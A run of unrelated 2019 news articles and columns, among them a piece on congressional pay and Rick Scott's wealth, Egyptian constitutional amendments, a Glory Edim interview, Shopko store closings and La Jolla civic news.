Some 276 members who have retired under the current plan, the Federal Employees Retirement System  which is coordinated with Social Security  were receiving an average annual pension of $41,076 in 2016. Thats higher than the median private pension of $9,300 or the average federal employee pension of $22,000, possibly because congressional salaries are higher. Members of Congress also are eligible to contribute to a 401(k)-style defined contribution plan; the government matches contributions by all federal employees up to 5% of pay.

So there are the numbers.

And that brings us back to the Scott proposal. Scott and Braun are both members of a class that never has to worry about Social Security or their pensions, because theyll never have to pinch pennies in retirement. Scotts net worth as of the end of 2017 was $232.6 million, a gain of more than $83 million from the year before, according to the Orlando Sentinel. That happened during a period in which he served as governor of Florida and his assets were supposed to be quarantined in a blind trust.

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A reminder of the source of Scotts fortune is proper here: It derives from his ownership and leadership of Columbia/HCA, a hospital company that was charged with defrauding Medicare, Medicaid and other government programs spectacularly, at least partly during his tenure. Company subsidiaries eventually pleaded guilty to 14 federal felonies and paid penalties totaling $1.7 billion. When the case was first announced in 2000, it was described as the largest government fraud settlement ever reached by the Justice Department.

Do you really want to take advice about making Washington work for all families from this guy?

As for Braun, his Senate disclosure documents value his personal assets at $35 million to $96 million. (Senate rules on financial disclosures are notoriously liberal.)

Its easy for Scott and Braun  indeed, almost anyone  to advocate for pay cuts for senators and House members as part of generalized anti-government rhetoric. One can hear griping about do-nothing government and worthless government programs on every sidewalk in America.

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But if the recent government shutdown teaches us anything, its that we all depend on a functioning government more than we thought. And a government that works for all families, as Scott would have it, depends on leadership that draws from more than the class that doesnt need that paltry $174,000 a year to make ends meet.

The next time you hear a politician kiss up to the average American by claiming he and his fellow lawmakers should earn less, check his net worth. Likely as not, hes rolling in big bucks and is only aiming to make sure he can keep them, leaving the rest of us with less.

Keep up to date with Michael Hiltzik. Follow @hiltzikm on Twitter, see his Facebook page, or email michael.hiltzik@latimes.com.

Return to Michael Hiltziks blog.Egyptian MPs started discussing on Wednesday a 26-page report prepared by a parliamentary sub-committee on proposed constitutional amendments, and are expected to vote in principle on Thursday in favour of the proposed changes.

The report will then be referred to parliaments Constitutional and Legal Affairs Committee to be discussed in detail in a series of hearing sessions.

The report said the amendment motion submitted by 155 MPs reflects an actual and legal need.

There is no doubt that these proposals have been made in response to practical and legal problems that require some articles of the existing constitution to be amended, said the report.

The amendments generally aim to introduce needed reforms to Egypts system of government.

The report argues the amendments meet the demands of the 30 June Revolution in 2013 which erupted in the face of an unprecedented constitutional and political crisis.

The crisis left the country severely divided and posed a grave threat to internal stability, says the report.

Parliaments internal bureau, led by the speaker and comprising his two deputies, accepted the motion which was submitted on 3 February only after ensuring its proposals complied with Article 226 of the constitution and the House of Representatives own internal bylaws.

The motion was submitted by more than a fifth of MPs, as required by Article 226, and explained in clear cut terms which articles are to be amended and the reasons for the proposed changes, says the report.

The report pays particular attention to the suggested changes to the last paragraph of Article 226 of the constitution.

This paragraph stipulates that in all cases, texts pertaining to the re-election of the president of the Republic or the principles of freedom and quality enshrined in the constitution may not be amended unless the amendment brings more guarantees.

The guarantees required are related to the Articles stipulation that the president can be re-elected once only, and cannot stay in office for more than two terms. It does not extend to stipulate that the term of office should be four years.

It is clear that the stipulation in the last paragraph of Article 140 does not impose any kind of ban on increasing the length of the presidential term, says the report, adding that constitutional law experts and professors agree that the last paragraph of Article 226 can be amended.

Existing conditions confirm that a four-year presidential term is inadequate in terms of consolidating the comprehensive and sustainable development plans needed to rebuild the country amid unstable regional conditions.

The report insists there is no doubt that the implementation of some of the articles enshrined in the 2014 Constitution is in need of review and notes that all nations find it necessary to amend their constitutions from time to time.

According to the report, the Supreme Constitutional Court has described constitutions as living charters that grow as they interact with conditions on the ground.

The court believes constitutions should be progressive in the sense that they can be amended in line with the spirit of the age, and that interpretation of constitutions should always be flexible.

The amendment of Article 140 of the constitution is the most notable proposed change, states the report.

This article will be amended to state that the president of the Republic shall be elected for a period of six years, starting from the day following the termination of the term of his predecessor, and the president may only be re-elected once.

It is also proposed a transitional article be created stating that the current president of the republic shall be allowed to be re-elected in line with the newly-amended text of Article 140.

The amendments also seek to create a supreme council for joint judicial affairs.

In this respect, the report explains, the status quo has shown clearly there is a pressing need for such a council to take charge of affairs related to the judiciary.

The amendments also state the job of the State Council be confined to revising draft laws referred by parliament.

On the role of the armed forces, the report says the amendments aim to reformulate their mandate to include safeguarding the constitution and democracy and preserving the civil nature of the state, the peoples gains and the rights and freedoms of individuals.

The amendments also aim to make the appointment of the minister of defence more systematic, allowing a nominee to be selected only after securing the approval of the Higher Council of Armed Forces (SCAF).

The proposed changes also seek to provide legal protection for vital establishments and public utilities. In the words of the report, this means entrusting the armed forces with protecting these establishments and utilities and referring those who seek to cause harm to military courts.

*A version of this article appears in print in the 14 February , 2019 edition of Al-Ahram Weekly under the headline: Reporting on change

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Jenna Bush Hager and Barbara Pierce Bush, the twin daughters of former President George W. Bush, are writing their second book together, Hager announced on the Today Show on Tuesday.

Sisters First, a childrens book, is slated for release by Little, Brown Books for Young Readers on Nov. 12. The book shares its title with the Bush twins first book, Sisters First: Stories From Our Wild and Wonderful Life, a memoir published in 2017.

The new book, illustrated by Ramona Kaulitzki, tells the story of a young girls close bond with her baby sister.

Its all about sisterhood, whether its blood sisters like Barbara and me, or friends or colleagues like yall, Hager told her Today Show co-anchors. We had so much fun working on it together.

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The publishers description of the book on its Amazon page says that its a lovely, lyrical ode to the magic of sisterhood.

A young girls wish is granted when a new sister arrives, the description reads. While the baby cant do much, over time the big and little siblings become inseparable, playing and dancing, imagining and laughing. By each others sides, they are smarter, kinder, and braver than they ever thought they could be. And they are forever sisters first.

The Bush twins will promote their book at the publishing trade fair BookExpo America in May, where theyre slated to co-host the Childrens Book & Author Breakfast, Publishers Weekly reports.Theyll be accompanied by actress Lupita Nyongo, whose debut childrens book, Sulwe, is slated for publication in August by Simon & Schuster Books for Young Readers.

Sisters First will be the second book by Barbara Pierce Bush and the fifth by Hager. Hager also wrote the nonfiction book Anas Story: A Journey of Hope, about a young woman born with HIV, which was published in 2007.

Hager also co-wrote two childrens books with her mother, former First Lady Laura Bush. Read All About It! was published in 2008, and Our Great Big Backyard was released in 2016.Although Glory Edim submersed herself in books since childhood, it wasnt until she published her first book that she began to accept herself as more than just a reader. Because of the popularity of her Brooklyn-based book club-turned literary festival, Edim was asked to publish a book of her own.

Edim, who was The Times 2017 Innovators Award recipient, opted to curate an anthology, Well-Read Black Girl: Finding Our Stories, Discovering Ourselves, in which she recruited black authors, including Jacqueline Woodson, Morgan Jerkins, Gabourey Sidibe, Jesmyn Ward and several others, to share when they first saw themselves in literature. As the authors unpacked their literary memories in the book, they also unleashed vulnerable stories of race, sexuality and self-definition. In turn, Edim says their openness allowed her to share her story in a way she hadnt before.

Edim recently spoke with The Times by phone about how shes embraced her new title as a writer and how the book has furthered her mission to redefine the literary industry. Our conversation has been edited for length.

Well-Read Black Girl: Finding our Stories, Discovering Ourselves (Ballantine / Handout)

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You started the book with Lucille Cliftons poem, wont you celebrate with me. Why did you use it, and what does it mean to you?

Theres so much to be said about Lucille Clifton. She is such a dynamic force and literary titan. That poem, for me, spoke to the demand to be seen, to be visible in the work, to be taken seriously and not be compared to anyone else; simply be seen for who you are. I just love the power in her voice. Renee Watson, one of the [anthology] contributors, talks about Lucilles work about how, being able to be physically seen, Lucille changed her idea of who she was and how she could become a poet, and I felt the same thing reading her poem. It really helped me define who I am. The word celebration is not a polite question, it is a demand. Wont you celebrate me? You have no choice [but] to. Her poems have always stood out to me because it doesnt feel like a question, it really feels like a declaration.

Writer Glory Edim talks with a fellow author during the Los Angeles Times Festival of Books awards ceremony on April 20, 2018, at USCs Bovard Auditorium. (Silvia Razgova)

You were approached by a publishing company to write your own book, and I read that youve always thought of yourself more as just a book lover. When did you learn that you werent just a reader, but also a writer?

I would say I became fully embodied in myself as a writer and an editor this year. Its been such a huge learning experience working with the women I admire. 2018 was such a year of becoming for me and feeling powerful and inspired by the contributors. Reading their work allowed me to find my voice and feel confident in telling my story. I oftentimes feel like the community and the books serve as a mirror for me. As I look at the community and I hear the feedback and I get the support, it really does fill me with such confidence and joy that I can do it because the community has trusted me.

Youve come to terms with calling yourself a writer this year?

I feel like Ive always been a storyteller, but coming into my own as a writer is still happening. Its really exciting to build something and be a part of helping others expand the publishing industry and give writers a boost who may be overlooked or who feel marginalized. I also know that I am still learning as I even claim the word writer in its truest sense. I have my own insecurities around things. I studied journalism, but I dont have an MFA. I didnt go to Iowa, the legendary school, so Im coming into this world with the thing that we all have, my own story, and Im trying to stay true and authentic to that.

You are also working on a memoir. Have you started writing?

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I have a solid draft of what Id like to share, [but] Im trying to find the narrative in how I want to tell my own story. Its interesting because Im used to reading everyone elses story [laughs]. Im used to having myself buried in a book. Reading memoirs and short stories are like two of my favorite things to sit down with. So now that Im writing my own, I have to really have clarity in what I want to share with the world and why I want to share it. How this can help other people and also help my own personal healing? Im discussing some traumatic things that happened, some triumphs, some challenges, but also the joy that has happened in my life too and the love that exists in my life. Most of the story is between my mother and I. As Ive shared before, my mother was severely depressed, and writing about mental illness can resurface painful memories, but Im in a good place now where Im able to confront it and share it, and do so without shame. As I was reading my old journals from when I was younger, I was like Oh, wow. There was a lot of fear in what I was writing. There was a lot of shame or resentment, and now as an adult, Im writing from the perspective of what can I tell my younger self and what can I share with the black community in particular about understanding the complexities of mental illness and family and that dynamic. Its been wonderful to just even have the space. I really want to do my best to honor my mothers story, my fathers story and my own.

So, youve been referencing your journals for the memoir. How long have you been journaling?

I have journals from when I was 8 years old. I mean, some of them are not as concise and are just entries [laughs], but Ive been writing for a really long time. In particular, during the time when I was in college that was a really important moment for me because I was constantly writing things down. Id always ask this really random question like how should you be as a person? What does it mean to be an adult? When I was in college, I was trying to figure out what does adulthood look like? I was trying to figure out who I was as a woman.

I feel like Ive always been a storyteller, but coming into my own as a writer is still happening, says Glory Edim, author of Well-Read Black Girl: Finding Our Stories, Discovering Ourselves. (Jay L. Clendenin / Los Angeles Times)

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Going back to the anthology, what type of questions did you ask the contributors?

I posed the question, When did you first see yourself in literature? but what happened was, that question became an unpacking of literary memories and reflections and all the stories really answered the question of self-definition. When did you define yourself? When did you give yourself permission to become a writer? That is what I saw in each essay. It really was about this is when I said, I am a writer and pronounce it proudly. And then also there was an interrogation of the text like when Tayari Jones was talking about reading Tar Baby as a young person and then reading it as an adult like she is challenging her work and challenging herself to understand her story in a more and intimate way.

Speaking of vulnerability, some of the contributors shared some very personal stories, including Dhonielle Claytons piece about understanding her sexuality and Gabourey Sidibes about her family issues. How was it for you reading these pieces?

I was so honored that they would share these heartfelt moments with me, and it crystallized the importance of telling your own story because everyone is like deeply personal in the essays. It really gave me the confidence to share my own story. I just think overall Well-Read Black Girl is complex and its unforgettable. After youve read this book, youre not going to forget who Nicole Dennis-Benn or Tayari Jones or Lynn Nottage are because now you know that theres beginnings in their stories. I think right now were engaged in politics and aesthetics that ask what is black literature? Who are these voices that need to be heard? I think its important for us to clarify the we that were talking about. The we goes across the diaspora and its about being dynamic and globally focused and really making connections between the movement of black Americans in the rural south to the northwest to L.A. Its finding the connections of all of our stories and making a space where a reader can really engage with whats important whether its artistic or political, and continuing to build social conversations. Thats what feels like a movement to me. [Its] where were having conversation that are really cultivating our voices, and Im proud to be able to promote the community and support for writers of color, specifically black women and that is something that I personally feel is happening all over, especially online.

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A quote from the book that people seemed to connect to on social media is: My biggest responsibility is to recognize that I am part of a continuum, that I didnt just appear and start writing stuff down, by Jacqueline Woodson. Thats kind of what your anthology feels like.

For me, it was about working in tandem with all these amazing women that really fed me as a young person and helped me cultivate my own voice, and I really do feel that Im part of a legacy and lineage of incredible black women writers from Toni Morrison to Alice Walker. These are all women I incredibly admire, and I want to pay tribute to their work. I really feel like Well-Read Black Girl has changed my life, and its welcomed so many new friendships and lifelong relationships into my life, and Im really proud of it, but I will always be [a part of] the community, and the anthology is a tribute to storytelling and sisterhood. I always say that Im not the first or the last to do this work. Black women have always been at the forefront of community, and Im just adding my story to it, and Im listening and Im constantly looking to be an advocate for women for black women. I want to be a person that can encourage other people and support the work of other women, as they are reciprocal and do the same thing for me. When you come to Well-Read Black Girl, youre going to always find affirming and a positive outlook on who we are and that isnt without intellectual pursuit and a dedication to craftsmanship. All of that is included. Its a whole complex person. Thats what Im trying to share with the work that I do. [To show] the complexity and the beauty of black women and our stories.Egypts Prosecutor General Nabil Sadek ordered late Tuesday the Ministry of Telecommunications and Information Technology to take all technical measures necessary to ban websites broadcasting sexual content or materials that violate public manners, Al-Ahram Arabic website reported.

According to the statement issued from the prosecutor general's office, the decision comes as part of investigations into pornographic videos that spread recently online involving prominent director and current MP Khaled Youssef and two young actresses, as well him and a businesswoman.

The pornographic videos that went viral featured Youssef and actresses Shaimaa El-Hajj and Mona Farouk, as well as businesswoman Mona El-Ghadban.

It is unclear how the videos were leaked.

El-Hajj, Farouk and El-Ghadban were arrested and accused of prostitution and inciting debauchery and obscenity online.

The lawyers of the women deny the charges, saying they were married to the director during the time the videos were made.

They are currently detained for 15 days pending ongoing investigations.

Youssef is currently in Paris visiting his Saudi wife, artist Shalimar Al-Sharbatly, and his daughter.

In a post published Sunday on his official Facebook page, Youssef slammed media outlets that spread false news and rumours about the case, especially confessions of the two actresses.

This is not the first time the MP and director has found himself in hot water.

In January 2017, Youssef was arrested briefly at Cairo International Airport on his way to Paris on possession of 100 Xanax pills without a prescription. He said he obtained them legally to give to his wife.

In December 2015, prominent TV host Ahmed Moussa aired images allegedly showing Youssef in sexual situations with a naked woman.

Youssef said at the time that the images are 100 percent fabricated and Moussa later apologised for airing personal images of the director.

Youssef won a seat in Qalyubia governorate's Kafr Shukr constituency in the second stage of the 2015 parliamentary elections.

He is a member of parliament's left-leaning 25-30 bloc and an outspoken supporter of the 25 January Revolution that toppled long-time president Hosni Mubarak in 2011.

Recently he declared his rejection of proposed constitutional amendments currently under discussion in parliament.

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While the lawsuit was not successful, La Follette had eyes on moving his office out of the basement and restoring his staff ever since.

Being in the basement makes things difficult, he said. We have lots of people to serve, and sometimes they get lost trying to find our office.

While LaFollette isnt in danger of getting lost on his way to the basement, Godlewski might be, as she settles into her new digs in the office next door.

The newly elected state treasurer is excited to get to work, but has a long way to go in order to get her office operating the way she wants it. Much like La Follettes office, lawmakers have eliminated or shifted duties away from the state treasurers office, and cut it down to the brink of elimination.

The first thing you have to understand is that my constitutionally mandated salary takes up 85 percent of the offices budget, Godlewski said.

That budget was submitted last September by former Republican treasurer Matt Adamczyk. Only one position  that of the state treasurer  is listed in the organizational chart and $95,700 of the requested $116,700 budget is earmarked for the treasurers salary and benefits, leaving only $21,000 per year to operate the office.In the spring of 1858, the third newspaper to appear in Geneva, the Genevan, established by J.L Deveraux, began publication, but it lasted only 18 months until 1859. Deveraux later became associated with the Burlington Standard, a newspaper published at one time by Shad Branen, today the owner of the Geneva Theater.

The fourth newspaper in Geneva was the Lake Geneva Mirror, which began publication on February 1, 1860. George S. Utter was its publisher and J.T. Wentworth its editor. The Mirror was published until the beginning of the Civil War, when its publisher, George S. Utter, joined the 40th Wisconsin Infantry Regiment.

It was not until 1872 that the first sustained newspaper in Geneva, the Geneva Lake Herald, began publishing. Seven years later, in June of 1879, a new daily newspaper, the Geneva Lake News, began publishing. The Geneva Lake News also began publishing a weekly a month later.

The Geneva Lake Herald and the Geneva Lake News began to publish at a time when Geneva was becoming a mature village. This followed the restoration in 1871 of the railroad connection between Geneva and Chicago, and the onset of wealthy Chicagoans purchasing land on the shores of Geneva Lake and building substantial summer cottages (i.e. mansions) on their lakeshore estates  a development that was stimulated by the Great Chicago Fire of Oct. 8, 1871.RACINE  Shopkos footprint is going to be even smaller with the upcoming closing of 174 more stores nationwide, including its stores in Racine, Kenosha and Delavan.

The announcement means, among other things, that by this spring, Shopko will no longer have a presence in Racine County. In January, Shopko announced the closing of 38 stores, and Racine, Kenosha and Delavan escaped being on that list.

Not this time.

The latest closing list shows that the Shopko store in Delavan is scheduled to close May 5.

The announcement came after the Ashwaubenon-based retailer said in late 2018 that it would close 39 stores. In totality, the closings will leave Shopko with just 109 stores compared with the 360 the company now lists on its website.

Shopko, which was purchased in 2005 by Sun Capital Partners, a private equity group, filed for Chapter 11 bankruptcy protection last month, and said it is restructuring as a result of excess debt and ongoing competitive pressures.

The Racine Shopko opened in November 1979, nearly four decades ago, after the Westgate Outdoor Theater, and later Turn-Style at Washington Avenue and Ohio Street were torn down to make way for what was then being called Westgate Mall.I like the stage crew management part of it, he said. Its pretty cool.

Freymiller said he doesnt have much stage experience, but the plants voice is well within my range.

HcHugh and Freymiller said the biggest challenge in bringing Audrey II to life is coordinating Audreys mouth movements with Freymillers words.

Freymiller said he and McHugh had their own practices to get the mouth and voice coordination down.

Freymiller will be in a stage hands booth behind the audience with an electronic hookup that allows him to project his voice to Audrey II. Hell get to see whats happening on stage.

McHugh will be in the belly of the plant and wont get to see much.

Freymiller said he has a lot of respect for McHugh, who has to move his entire body to get the plant to open and close its big mouth.

I respect him, Freymiller said of HcHugh. His abs are getting a workout.

Most fans probably remember Little Shop of Horrors, a 1986 movie musical directed by Frank Oz of Muppets fame and staring Rick Moranis. Other well known entrees are Steve Martin, Jim Belushi, Bill Murray and Christopher Guest.In what has been described as a little but heartwarming project, the flagpole at Union Circle Park (at the center of Park Row) is being refurbished, as part of a community project bringing together Park Row residents, the La Jolla Historical Society, La Jolla Parks & Beaches committee (LJP&B) and local contractors.

Installed in the 1940s, the flagpoles base has termite and water damage from the Citys sprinkler system; its paint is peeling; the memorial plaque affixed to the base is worn out and damaged; and at the top, the California flag waves in the breeze (rather than the American flag, so the pole does not have to be illuminated at night, at the request of residents).

La Jolla Historical Society historian Carol Olten got the ball rolling on the project by calling the City to ask that the appropriate department make the necessary repairs. It needs some care, she said. Im a little surprised it didnt fall over during the recent storms and high winds.

The damaged base of the flagpole in Union Circle Park. Ashley Mackin-Solomon

But one small problem emerged: the $16,000 pricetag.

Seeking an alternative, Olten looked into carrying out the project privately. She reached out to La Jolla Parks & Beaches advisory board and then took a look at available La Jolla Historical Society funds.

As fate would have it, the Historical Society had recently been bequeathed some money from Park Row resident, Pludi Waser, who passed away Feb. 2, 2018 at the age of 94.

Upon hearing about the flagpole repair project, her son, another La Jolla resident (who wishes to remain anonymous), asked that a small part of the funds be used to pay for the badly needed refurbishing.

Pludi was a long-time La Jolla Historical Society volunteer who cared deeply about the heritage of this community, he said of his late mother. This park and its flagpole with its California flag are certainly important parts of that heritage. In addition, Pludi lived the last years of her long life  adjacent to this park. I know she would have loved to have helped.

To find a City-approved vendor to carry out the work, Olten approached former La Jolla Historical Society president and local contractor Tom Grunow, who said the project was right up my alley.

Grunow said he reached out to his contacts and found people willing to volunteer (or offer at a reduced cost) their equipment and services to lower the flagpole, clean it up, repair it as needed, repaint it and put it back up again.

Rather than the Citys $16,000, we are at about $1,750 and we are going to preserve a piece of our heritage, Grunow said at the Jan. 28 LJP&B meeting, to applause.

Its a little thing, but its heartwarming, added LJP&B chair Ann Dynes. On Dec. 18, she said, she proactively reached out to the City Park & Recreation Department to apply for the right-of-entry permit associated with the work.

Notes from a December e-mail chain between Park & Recreation area manager Rosalia Castruita and those involved read: Once all the documents are submitted, we could request the right-of-entry permit to our department.

A LJP&B motion at the Jan. 28 meeting passed unanimously to authorize Grunow Construction to engage in the repair and ratify the request to the City for the right of entry permit.

Grunow later told the La Jolla Light the whole process would take two weeks, and he would begin shortly after the City processes the right-of-entry permit, noting it takes about 90 days.

This project is meaningful to me because I love La Jolla and get great satisfaction from volunteering and making a difference, La Jolla has been good to me and my company (and I see this) as a way for me to give back, my father was a World War I bomber pilot and I was brought up to respect the flag and be a patriot, and I enjoy historical projects.

The project is also special for Olten, who authored an article about the site for the Historical Societys Timekeeper publication: When the original La Jolla Park subdivision was laid out in 1887, it provided for two public parks in La Jolla. One, Scripps Park, became a popular, highly-used landmark at La Jolla Cove. The other, Union Circle Park, entered into the ranks of obscurity. Today, most often referred to simply as Circle Park, it remains a small green oasis with large pine trees enjoyed mainly by the residents who live around it  including me, she wrote.

The flagpole, Olten told the Light, was put up in the 1940s and dedicated to Walter Lieber, who came to La Jolla in 1904 from Philadelphia, fairly wealthy, and was a friend of Ellen Browning Scripps.

The tarnished plaque for Walter Lieber Ashley Mackin-Solomon

He loved to plant trees, and he planted the palms at The Cove, Olten said. When he died in 1945, friends and family put up the flagpole and it has a little bronze plaque on it dedicated to Walter Lieber in honor of (his efforts).

According to Historical Society literature, Lieber came to La Jolla in 1904 after attempting to gain mining work in Mexico. But facing health problems, he left by train to head back to the East Coast. His train had a short stop in La Jolla, where he intended to only stop for a few hours, but stayed for the rest of his life.

The flagpole was deemed an appropriate memorial because of the citizenry in the 1940s, Olten said. His widow rented a house near the circle. She probably went up there all the time, and probably suggested something in the park.At the next La Jolla Community Planning Association (LJCPA) meeting, March 7, the general membership  not just trustees  will have the opportunity to vote on a proposed bylaw revision that addresses the extent to which a trustee must remove themselves during the course of a presentation and vote.

Recommended by LJCPA trustee Dave Gordon, and discussed at the Feb. 7 meeting at the Rec Center, the proposed change would allow a trustee to stay in the room even when they are also the project applicant or have another direct economic interest.

The current rule states: Any trustee of the LJCPA with a direct economic interest in any project that comes before the LJCPA or any committee must disclose the economic interest and must recuse from voting and not participate in any manner as a trustee for that item on the agenda. In the event of a recusal, the individual must remove him or herself from the room prior to discussion if that individual is not part of the presentation.

Previous arguments in favor of this rule included that an applicant could discourage a trustee from voting negatively against their project by giving voting trustees looks, using body language or making scoffing sounds if they are in the room.

Gordons recommendation would allow the individual to stay in the room during discussion and a vote, but he or she must disclose any economic interest and must leave the trustee seating area.

He explained: I looked at the bylaws of all of San Diegos other planning groups and  Council Policy 600-24 (which identifies responsibilities and to establish minimum operating procedures governing the conduct of community planning groups when they operate in their official capacity). There are 42 planning groups in the City and LJCPA is the only one that requires people to leave the room. The rest just say to have them leave the seating area and not participate as a board member. I thought that was perfect because, especially at the sub-committees, weve had trustees (who are also applicants) who have had to leave the room and we cant ask them questions. Im just trying to make things consistent with what the City asks us to do.

LJCPA trustee and local architect Brian Will, speaking in support, said: A committee like this needs to have, among its members, experts in the field; people who are engaged in the San Diego Municipal Code every day. And sometimes, not often, (applicant/trustees) bring our own projects and that puts us, as practicing architects, in a difficult position. We cant adequately defend our clients position if were forced to leave the room. I think a vocal announcement that you are recusing yourself and removing yourself from the committee table is adequate.

Alternatively, trustee Dan Courtney joked: Personally, I feel more comfortable when those involved with a project  who are my friends with whom Ive sat on this board for years  are outside the room before I jump on their project.

A vote to put the item before the general membership at the March 7 meeting passed 8-4-1.

In other LJCPA news:

Slurry Work: Representing the office of City Council member Barbara Bry, Mauricio Medina announced several areas slated for street slurry sealing in the coming months. A work schedule was not announced.

The Village: The streets that surround The Bishops School, proceed along Draper Avenue toward La Jolla High School, portions of Pearl Street, La Jolla Boulevard down to Fern Glen, Rushville Street, Arenas Street and more (see map below).

The Village streets slated to be paved with slurry in the coming months are indicated by a yellow bar. Courtesy

Bird Rock: Folsom Drive, Camino del la Costa, Waverly Avenue, Beaumont Avenue between Camino de la Costa and Forward Street, Bird Rock Avenue between Beaumont and Bellevue avenues, Bellevue Avenue between Bird Rock Avenue and Forward Street, Waverly Avenue between Bird Rock Avenue and Forward Street.

Hidden Valley: Much of Via Capri, from Via Avola and Rue de Anne, and then again from Rue Adriane and Rue Denise; as well as feeder streets to Via Capri including Via Avola, Via Capri Court, Via Rialto, Rue de Anne, Rue Michael, Rue Adriane, Rue Denis; and Rue de Roark.

More on McLaren mural: Although the La Jolla Planned District Ordinance advisory board (PDO) discussed the controversial McLaren marquee  which depicts a McLaren car over a dealership where they are sold, leading some to question whether its art or advertising  LJCPA trustees are asking for a formal PDO vote.

The PDO committee hosted a brief discussion during its Jan. 14 meeting, at which time chair Deborah Marengo announced the Citys Neighborhood Code Compliance department had reviewed the sign and determined it meets the terms of a mural and is therefore art and not an illegal billboard, as some have argued.

LJCPA trustee Glen Rasmussen opined that the Citys findings shouldnt have stopped the PDO from making a decision.

If someone complained to Code Compliance, that is a City complaint, he said. The City does not have jurisdiction over what it says in the PDO or the sign ordinance. The PDO committee should still act on it.

LJCPA chair Bob Steck said he would ask the PDO to take up the issue again and vote.

After the meeting, City spokesperson Arian Collins told La Jolla Light the display is actually still under investigation at Neighborhood Code Compliance.

Apparently, at one point the case was marked closed in error, which caused the confusion. But its still under investigation and there is no update this time, he said, indicating that no decision had been made on whether the work is a mural or an unpermitted advertisement.

Shores PRC bylaws: After a lengthy debate about whether to approve a La Jolla Shores Permit Review Committee (PRC) charter revision at the LJCPA level, the board agreed to let the La Jolla Shores Association (LJSA) have one more crack at it. Trustee and PRC chair Gordon recommended the bylaw update in mid-2018 to change whether an applicant/trustee would need to leave the room during a presentation, codify election protocol and update the meeting schedule.

LJSA chair Janie Emerson argued that PRC is a joint committee between LJSA and LJCPA, and therefore both bodies should approve the charter changes (a notion on which City Planner Marlon Pangilinan disagrees).

LJSA had a discussion on the bylaws at its January meeting, but did not vote. As such, Gordon agreed to have the bylaws heard again and voted on at the next LJSA meeting, Feb. 14. The determination will be reported in a future issue.

New ANAC appointee: La Jolla resident Matthew Price was named the LJCPA representative to the San Diego Airport Noise Advisory Committee (ANAC). Price has been involved with the airport noise issue since 2017, when the La Jolla Town Council formed its airport noise sub-committee, and Price offered to be a liaison between the Town Council and ANAC meetings. LJCPA chair Steck said: He is very knowledgeable on the subject and I have received very good feedback about his involvement thus far (as the representative from the La Jolla Town Council). A motion to ratify Prices placement passed.Students from Torrey Pines Elementary School celebrated Kindness Week on campus with a full slate of events Jan. 28 to Feb. 2. Kindness stations were set up with activities during recess, there were themed dress-up days and more, which culminated with a school-wide volunteer day to sort food for Feeding San Diego.

At the playground Kindness Stations, students got the opportunity to make and spread kindness letters ... they also had a chance to make welcome cards for our new principal, Nona Richard, said Cathy Prestonise, the schools vice-president of community events. Dress-up themes included: Ride the wave of kindness (beach attire), Wild about kindness (wild animal), and Keep the kindness rolling (dress like a favorite role model).

During the Feeding San Diego event, Torrey Pines families sorted 500 pounds of tomatoes, 2,400 pounds of apples, and 2,600 pounds of pears. It was really great watching the kids and their behavior, Prestonise said. No kids were bored or complained about any of the jobs they did, including sweeping the floor and cleaning up after themselves. Many parents commented that if they were at home, their kids would be less likely to help as much (certainly without complaining). However, all of the kids commented in some way about how good they felt helping their community and were excited to come back and help again.

To ride the wave of kindness, Torrey Pines Elementary School students were encouraged to dress in beach attire. (Courtesy / Courtesy)

Torrey Pines Elementary School families celebrate their efforts of sorting food for Feeding San Diego. (Courtesy Photos)Egypt's Foreign Minister Sameh Shoukry says that Egypt has not normalised relations with Qatar, and that a return to normal relations necessitates a change in the Gulf country's behaviour to a way that does not negatively affect the interests of the Egyptian state and people.

Shoukry made the statements during a televised interview on Monday with Egyptian channels on the sidelines of the African Union summit in Ethiopia's capital Addis Ababa.

"The crisis with Qatar is still ongoing, especially as the situation has not changed since the four anti-terrorism bloc countries -- Saudi Arabia, the United Arab Emirates, Bahrain and Egypt -- decided to boycott the Gulf state," Shoukry said.

Shoukry affirmed that the position of the four Arab bloc countries is firm and that they are continuing to coordinate to strengthen their stances and policies regarding Qatar.

The Egyptian foreign minister also affirmed that he has not heard from any of the Arab partners of a desire to reconcile with Qatar in response to international or regional pressure.

Egypt and several arab countries decided to cut diplomatic ties with Qatar in June 2017 citing its support for Islamist groups and attempts at destabilisation within the region.

On the negotiations regarding Ethiopia's Renaissance Damn, Shoukry said the past nine months have seen a stalemate and that Cairo has called for a tripartite meeting of foreign and irrigation ministers from Egypt, Sudan and Ethiopia in Cairo on 20 February to discuss the matter.

Shoukry said that during the AU summit, the leaders of the three countries "affirmed their commitment to the declaration of principles signed in March 2015, which stipulates that Egypt's water interests are not to be harmed and acknowledges Ethiopia's rights to development, and that any technical consultations are to be based on those principles."

"Egypt believes the GERD issue is scientific and technical. So far, the three countries have not achieved a unified vision on how to deal with the issues of filling and operating the dam, but Egypt is determined to reach a solution that is satisfactory to all parties," Shoukry said.

"Egypt knows its interest and is capable of defending them," Shoukry added.

On Libya, Shoukry described Turkey's role in the country as "worrying," hoping it will not extend to any other countries on the continent.

"Foreign interventions waste any opportunities to resolve the crisis in Libya," Shoukry said, affirming that Egypt supports a political solution as a means of reaching a solution in Libya.

"In this regard, we have maintained our clear stance against all who support terrorist organisations and militias in Libya," he added.

Shoukry affirmed that foreign and regional intervention is a primary reason for the spread of terrorism and instability in Libya.

On Egypt's chairmanship of the African Union in 2019, which started on Sunday, Shoukry affirmed that Egypt aims to maintain a stable policy without bias or polarisation.

"The freezing of the membership of Egypt in the African Union in 2013 was a sad moment due to a misunderstanding about the reality of the situation in Egypt," Shoukry said, referring to the AU freezing Egypt's membership following the ouster of the country's Islamist president Mohamed Morsi.

Shoukry also said that all efforts to solve the problems of the continent are supported by the United Nations, adding that Africa is rich with resources, which had historically made it a target for colonial powers.

Egypt's President Abdel-Fattah El-Sisi received the chairmanship of the African Union from Rwandan President Paul Kagame the opening ceremony of the 32nd African Summit on Sunday.

El-Sisi said that the African Union will work on boosting the foundations of sustainable development and paving the way for a "prosperous" Africa.

Short link:

BUSINESS SPOTLIGHT:

The first thing you notice when you enter Kiwi Spa is, well, the kiwis. Theyre everywhere. On pillows, on the wall, and even on the earrings that spa owner Maya Banks wears. The scrubs that Banks and her estheticians, Luna and Anastasia, wear are kiwi green. And Mayas nail polish? Yep, Kiwi green.

Banks calls it the Kiwi Lifestyle, and explained why she chose the name for her spa: First, when you look at a sliced kiwi, its one of the most amazing patterns that nature created and its so rich in nutrients. Second, when people are in depression and they look at a picture of a kiwi, it increases the serotonin in their brains. I have one in my bedroom, I have one here. It makes one happy. It has a special energy like a green sun. Third, green is the color of life and symbolizes something organic and natural. And when you say Kiwi Spa, you can remember it.

